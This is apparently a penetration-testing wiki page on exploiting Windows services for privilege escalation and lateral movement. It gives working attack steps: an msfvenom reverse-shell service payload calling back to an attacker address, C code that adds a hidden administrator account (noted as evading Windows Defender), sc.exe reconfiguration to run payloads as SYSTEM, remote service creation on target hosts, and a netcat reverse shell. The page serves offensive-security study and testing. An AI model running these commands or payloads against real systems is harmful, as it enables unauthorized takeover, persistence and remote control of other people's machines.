Exploit Windows Services

Windows services are a high-value target for privilege escalation and persistence. They run with SYSTEM privileges, start automatically at boot, and are managed through a well-documented RPC interface. This page covers local and remote service exploitation techniques.¹²

Local service exploitation

Finding candidate services

# List all services
sc.exe query state=all
 
# Query a service's configuration
sc.exe qc $SERVICE_NAME

Look for services with three properties:

1. BINARY_PATH_NAME points to a controllable location
2. START_TYPE is auto (runs without user interaction)
3. SERVICE_START_NAME is LocalSystem

Not every service can be queried — access is controlled by per-service DACLs. See windows-services for the full access rights model.

Backdooring a service binary

Generate a service-compatible payload with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f exe-service -o $SERVICE_EXE

The exe-service format ensures the correct Windows service APIs are available. A regular exe payload will run but register as failed in the Windows Event Log.

Alternatively, compile a simple binary that adds a local admin user:

#include <stdlib.h>
 
int main() {
	int i;
	i = system("net user USERNAME PASSWORD /add");
	i = system("net localgroup administrators USERNAME /add");
	return 0;
}

As of August 2022, binaries compiled from this code were not detected by Windows Defender.

Reconfiguring the service

# NOTE: Space required after equals signs!
sc.exe config $SERVICE_NAME `
	binPath= "$PATH_TO_REVERSE_SHELL_EXE" `
	start= auto obj= "LocalSystem"

The full sc.exe config syntax and parameters (including the required space after each =) are documented by Microsoft.³

If the service has an unquoted path, place the malicious binary earlier in the implicit search path instead of modifying the service configuration.

Weak service DACLs

If a service’s DACL grants SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG to a low-privileged user, that user can reconfigure the service to run arbitrary code as SYSTEM.⁴ Enumerate with Sysinternals AccessChk:⁵

# Check service DACL permissions
accesschk64.exe -qlc $SERVICE_NAME
 
# Grant payload permissions and reconfigure
icacls $PATH_TO_PAYLOAD /grant Everyone:F
sc.exe config $SERVICE_NAME binPath="$PATH_TO_PAYLOAD" obj="LocalSystem"
sc.exe stop $SERVICE_NAME
sc.exe start $SERVICE_NAME

See exploit-service-all-access for a detailed walkthrough.

Remote service exploitation

UAC remote restrictions

By default, UAC restricts remote sc.exe calls to:

• Domain admins
• The built-in local “Administrator” account

Local admin accounts cannot use sc.exe remotely without disabling UAC remote restrictions. This is controlled by LocalAccountTokenFilterPolicy under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System. Setting it to 1 builds an elevated token for remote connections.⁶

Remote service manipulation

sc.exe can create and manipulate services on remote machines via UNC path:

# Create a service on a remote host
sc.exe \\$TARGET_HOST create $ATTACKER_SERVICE `
	binPath= "$SOME_COMMAND" start= auto
 
# Start the service
sc.exe \\$TARGET_HOST start $ATTACKER_SERVICE
 
# Stop and clean up
sc.exe \\$TARGET_HOST stop $ATTACKER_SERVICE
sc.exe \\$TARGET_HOST delete $ATTACKER_SERVICE

This is a blind attack — no output indicates success or failure.

Remote service manipulation uses these ports:

• TCP 135 — DCE/RPC endpoint mapper
• TCP 49152–65535 — dynamic RPC ports
• TCP 445 — SMB named pipes (fallback)
• TCP 139 — NetBIOS (legacy fallback)

Token manipulation for remote services

When connecting via SSH or another non-interactive method, spawn a reverse shell with the user’s access token before starting a remote service:

runas /netonly /user:$DOMAIN\$USERNAME `
	"$PATH_TO_NETCAT\nc.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT"

MITRE ATT&CK mapping

• T1543.003 — Create or Modify System Process: Windows Service (Persistence, Privilege Escalation)⁷
• T1574.009 — Hijack Execution Flow: Path Interception by Unquoted Path
• T1574.011 — Hijack Execution Flow: Services Registry Permissions Weakness

Services may be created with administrator privileges but execute under SYSTEM, making them an ideal privilege escalation vector. Adversaries also use services to install malicious drivers (BYOVD) and hide artifacts via sc sdset with SDDL.⁸

See also

• windows-services
• exploit-service-all-access
• exploit-windows-services-unquoted-paths
• msfvenom
• unquoted-path-handling-in-windows
• remote-msi-install-powershell — alternative fileless lateral-movement primitive via Win32_Product.Install
• sebackup-serestore-privileges — SeRestorePrivilege as a parallel “write any file” route to service-binary replacement

Sources

• MITRE ATT&CK — T1543.003 Create or Modify System Process: Windows Service
• Microsoft Learn — About Services
• Microsoft Learn — Service Security and Access Rights
• Microsoft Learn (KB 951016) — User Account Control and remote restrictions
• Microsoft Learn — sc.exe config
• Microsoft Sysinternals — AccessChk v6.15

Footnotes

1. Microsoft Learn — About Services ↩

2. MITRE ATT&CK — T1543.003 Create or Modify System Process: Windows Service ↩

3. Microsoft Learn — sc.exe config ↩

4. Microsoft Learn — Service Security and Access Rights ↩

5. Microsoft Sysinternals — AccessChk v6.15 ↩

6. Microsoft Learn (KB 951016) — User Account Control and remote restrictions ↩

7. MITRE ATT&CK — T1543.003 Create or Modify System Process: Windows Service ↩

8. MITRE ATT&CK — T1543.003 Create or Modify System Process: Windows Service ↩